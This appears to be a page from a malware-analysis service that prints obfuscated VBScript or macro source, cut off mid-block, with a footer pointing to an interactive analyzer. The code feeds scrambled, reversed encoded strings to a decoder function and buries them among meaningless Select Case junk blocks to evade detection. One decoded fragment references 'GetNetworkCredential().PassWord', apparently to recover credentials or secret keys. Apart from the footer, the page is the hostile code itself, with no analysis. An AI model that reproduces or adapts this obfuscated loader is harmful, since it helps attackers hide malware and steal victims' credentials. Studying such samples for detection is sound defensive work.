ajQEo = wmkwjY("NRONzMAgDA0AwYAYDA4AgZAQDA2AQNAcDAjBwMAADA4AwNAcDA2AQNAQDA3AQMAcDAwAQZAMDAmBQOAEDA2AgNAADA5AgZAgDA2AAMAEGA0AQOAYGA5AgNAMGA0AQZAgDAhBANAUDAhBwNAMGAiBwNAcDA3AAOAgDAmBgZAEDA0AgNAEDAmBQNAkDAjBA8zz", 4 + 0, 184 + 0)
Select Case jStdo
         Case 22803
            ZWKBv = Rjkfdc
            mSuPB = lhHTu
            phmhj = Cos(57150 * CBool(25736))
         Case 33126
            QsAoK = 369
            FwRFlf = Fix(62242)
            Ydbia = Oct(52864)
End Select
Select Case kUOlz
         Case 99018
            qlfBQN = hrnKj
            zFRvP = FunDT
            wJvitQ = Cos(51708 * CBool(31676))
         Case 18564
            UJwjT = 19729
            fwzsfN = Fix(59692)
            SVqus = Oct(5910)
End Select
FvktJQa = wmkwjY("ROLEtYGA4AAZAcDAhBwMAQDAyAAMAMDAwAgNAYDAxAgYAUGAzAgNAEGA0AgZAYGAxAQYAIGAhBAOAEDAjBwYAUGAjBQNAIDAkBAZAUGAiBANAMDAkBAOAMDAjBwMAEGAzAQOAkDAiBwNAIGAmBwNAYDAiBAMvr", 3 + 0, 151 + 0)
Select Case LaSDPD
         Case 95481
            jSznl = zjpuA
            GUiSw = baukW
            HlzXQ = Cos(29308 * CBool(90229))
         Case 82143
            ZQZiau = 89885
            oAzsv = Fix(54092)
            rAHwbW = Oct(54230)
End Select
Select Case bwJiIX
         Case 81110
            NSzwVT = tbBDt
            EjBWHv = HMBCjK
            zHnGB = Cos(34576 * CBool(57220))
         Case 53867
            wDwkZU = 14287
            coAXPH = Fix(23050)
            cCiBR = Oct(88682)
End Select
TtVjPz = wmkwjY("GpBHv) dRowSThIqHAp.)(laitNEderCkROwteNTeG.))78,38,3,522,28,331,74,112,111,74,702,821,46,502,41,961 K-  gNirTThIqHErvP", 3 + 0, 103 + 0)
Select Case LTWln
         Case 90812
            bzcvF = KKNmF
            auKdh = bFZPv
            TCnlRC = Cos(67178 * CBool(37617))
         Case 78712
            MCuUCs = 81017
            ovwzT = Fix(39674)
            polMp = Oct(54013)
End Select
Select Case VzjzJT
         Case 93736
            jqUmJ = ZiOzUj
            BaGjkj = TEnQFp
            blosD = Cos(21916 * CBool(10692))
         Case 60466
            wKzADV = 35905
            VlSTY = Fix(54651)
            YnCub = Oct(5325)
End Select
ZvofGXanVN = wmkwjY("QPAADAzAwNAcDA0AAZAUGA1AQZAEGAjBwNAMGA1AwMAADAjBgYAYGA1AANAYDAwAQYAUDA4AwMAYDAkBQMAEDAzAwNAgDA4AQMAYDAjBgMAIGA5AAZAEGA4AgYAMGAhBgMAEGAwAAMAMGAyAQZAEGA0AwNAQDAyAgMvjMh,", 6 + 0, 160 + 0)
Select Case hTWwt
         Case 51388
            RYZVb = Wmjqz
            jvTWnC = XTQIK
            wscid = Cos(10687 * CBool(55096))
         Case 84517
            ENtwwS = 88919
            GMwpVI = Fix(26917)
            ivkCnA = Oct(30548)
End Select
Select Case DFUmSl
         Case 35266
            PCVwP = NdcbM
            VDwBw = UdzSiz
            wBkzP = Cos(71946 * CBool(36452))
         Case 29911
            KEFip = 27082
            fWicXG = Fix(99550)
            SncRo = Oct(15346)
End Select
ouflMJHf = wmkwjY("rzJWcYAQGAjBwMAUDAzAAZAEGAwAQMAgDAiBAOAEDAmBQNAQDAiBgZAMDAyAgNAMV8Ej", 5 + 0, 59 + 0)
Select Case UVtSEc
         Case 57382
            qtDwt = wTAFDT
            zXhpCb = bIBaPN
            kkXJzB = Cos(17371 * CBool(85577))
         Case 66707
            IGRWT = 55138
            loAUz = Fix(24665)
            CBwlhs = Oct(54354)
End Select
Select Case YwAFTu
         Case 18137
            ETGQkZ = YWHzR
            dokqk = VbcAU
            wmjpDu = Cos(41777 * CBool(74710))
         Case 20808
            oOkQw = 29413
            nzBkS = Fix(90197)
            POioo = Oct(22729)
End Select
VsaTjXBVQ = wmkwjY("OKz4LWDAxAANAEDA4AgYAMDAkBAOAUGAjBgNAIGA3AQZAADAiBAOAUGAiBwMAYGAwAQNAADA1AwNAMGAxAgZAIGA3AQYAUGA0AwMAADAiBwNAgDA5AQMAEDA4AwMAMDAkBANAIGAhBgNAQGAiBQZAYGAkBgYAkDAxAgMAADA5AQjj", 3 + 0, 165 + 0)
Select Case SmZnnh
         Case 67134
            NcizM = VFUGG
            pCTGd = ZaoMjw
            oVcLcL = Cos(65655 * CBool(36536))
         Case 38916
            YGSiKt = 17969
            iilmP = Fix(37933)
            JwHId = Oct(2236)
End Select
Select Case ikJiX
         Case 38913
            jkrjjL = nHNMwG
            imOIv = nKrhb
            IFmPCi = Cos(7800 * CBool(8183))
         Case 32253
            nCkMO = 24264
            UEcFtz = Fix(96163)
            ZcOpWs = Oct(19781)
End Select
ZGXldf = wmkwjY("XE5BwNAUGAxAgMAQGA4AQMAQGA2AAOAcDAyAwMAMDAiBQZAYGAyAAOAMGAkBQMAIGAlBQOAUDAlBgNAIGA5AgYAIDAzAANz%A", 5 + 0, 90 + 0)
Select Case uDZAs
         Case 21162
            uCvXzL = isajX
            wjOGoU = CpPuSc
            pJoLiJ = Cos(44751 * CBool(66523))
         Case 5871
            bwjBuV = 28195
            VhGOoS = Fix(24383)
            iiEnB = Oct(8791)
End Select
Select Case ATpUB
         Case 80709
            hbWUVt = BQBwKR
            kzVNEX = hJYwj
            maQGUR = Cos(10903 * CBool(99016))
         Case 76531
            RrsjS = 82899
            QzVPQ = Fix(43750)
            GzSvA = Oct(34400)
End Select
WjTOOU = wmkwjY("O4ThIqHIQ0AQYAEDAzAwMAYDAzAwYAEDAiBQZAUGA1AANAwHA9AQPAEFAVBQSAcFAIBAZAMGADBQQAMGADBQMAMtJB", 4 + 0, 78 + 0)
Select Case VmKraz
         Case 90628
            tLmwdD = Mojpw
            ANTVE = zXzKwV
            vEhss = Cos(84212 * CBool(32019))
         Case 74195
            JdTsQ = 69868
            iLKTrU = Fix(47958)
            VWCvGt = Oct(2841)
End Select
Select Case nibQHC
         Case 21031
            CKRpMn = qUDch
            JwDZh = ZzKjBj
            kXXIZi = Cos(51493 * CBool(95341))
         Case 42661
            rXbwq = 18797
            YtPNij = Fix(46961)
            ZPlqrb = Oct(31651)
End Select
FiQEZNS = wmkwjY("DIEGA4AgYAcDA1AQYAgDAkBwYAEGAwAQOAEGA5AwYAYGA2AwYAYDA4AgNAIDA2AQZAIDAhBQNAQDA3AgYAQDA5AANAADAxAwYAUGAxAANAQDAyAQZAQDAwAQNAMGAhBAZAkDR,I", 4 + 0, 129 + 0)
Select Case ZDiTM
         Case 58011
            GUmmLC = pjpXK
            UZGqz = zOoGi
            bRCuIq = Cos(52248 * CBool(89762))
         Case 91133
            trtMn = 38549
            CAURJl = Fix(395)
            rUuijR = Oct(26816)
End Select
Select Case EkRUG
         Case 65710
            WnPQQ = XjGKz
            jRXJB = HSCnYq
            mUCOSz = Cos(95472 * CBool(36888))
         Case 62491
            pAjjGd = 94162
            wazYsh = Fix(52208)
            XwPNi = Oct(28372)
End Select
jNzEDtQfzdn = wmkwjY("H,j5AQOAMGAXzdX%", 6 + 0, 8 + 0)
Select Case firUU
         Case 76562
            CwDih = RNBoF
            aPlNcV = CawDSE
            bEFOJc = Cos(22935 * CBool(71863))
         Case 47392
            VOzSz = 18335
            aIuoIt = Fix(31812)
            wjknD = Oct(85436)
End Select
Select Case qnBzQz
         Case 64901
            ubTvLX = VhhXa
            RIvnRb = ZLHMhv
            jNCDq = Cos(75090 * CBool(89426))
         Case 12284
            CcvCE = 30527
            iSHiZi = Fix(10509)
            wViMj = Oct(38581)
End Select
OfzQvMJPlK = wmkwjY("muIkBANAYDA0AQMAIGAjBgMAUGA0AgZAYDAkBQOAMGA2AgZAkDAlBQOAIGAkBAMAgDAkBQMAIGAiBgYAYDAlBAOAMDAiBwNAUDAzAQNAIDAkBQMAIDAkBgYAIDAiBwNAADA2AgZAADAzAQZAID,D1", 4 + 0, 143 + 0)
Select Case NQwrH
         Case 59796
            jnFLts = VZuJZ
            uaQAC = qEVEi
            vwOfE = Cos(25550 * CBool(16083))
         Case 14140
            lTZOl = 24205
            cvnCJ = Fix(91027)
            mzzpz = Oct(78282)
End Select
Select Case jjpwKi
         Case 42185
            fwXuz = SjpSK
            qClcL = JsoXIT
            vXPHm = Cos(15191 * CBool(25974))
         Case 8003
            iWnUJ = 72580
            DsEdKm = Fix(56588)
            NnMUdj = Oct(15247)
End Select
TvALHisaU = wmkwjY("mvRPQMAIDA3AQZAIDA4AAOAgDAzAQNAIDAmBAOAIGA5AgYAIGAzAAZAEGA5AQOAIGAmBgYAYDAwAwYAMDAiBAZAQDA1AwYAIGAhBQZAIGAjBwMAgDAlBwYAUDA3AQMAIGAhBAZAADAiBwYAEDAlBgNAcDAyAQMAkR2D%f", 6 + 0, 156 + 0)
Select Case DtEiCc
         Case 4319
            zwRUO = qoXLlf
            pqItR = zvtapa
            jbECda = Cos(80598 * CBool(87605))
         Case 62553
            UIjYw = 46725
            RwckND = Fix(92275)
            liCPEV = Oct(54867)
End Select
Select Case VZBJYR
         Case 94744
            Jofol = fGRVi
            NTsXms = rMiZJ
            JlmknJ = Cos(36166 * CBool(87326))
         Case 51798
            ClNuLD = 79194
            HUfVC = Fix(63844)
            XftFna = Oct(27833)
End Select
IaLkU = wmkwjY("mOzAyAwMAMDAiBgMAIDAlBQYAQGAyAQYAYDAkBwYAUDA2AAZAIDA4AwYAcDAjBAZAEGA4AQNAEDAzAANAYDAmBwNAUrp,Vz", 6 + 0, 87 + 0)
Select Case LbjsV
         Case 57880
            PzmUq = ZwLoXd
            pwojF = QdZon
            nPBSc = Cos(20660 * CBool(37958))
         Case 50764
            Eiihqs = 96533
            iQPwwh = Fix(29101)
            AmPNjq = Oct(17173)
End Select
Select Case kMhRlk
…

Open this report in the interactive analyzer, or submit your own file for analysis.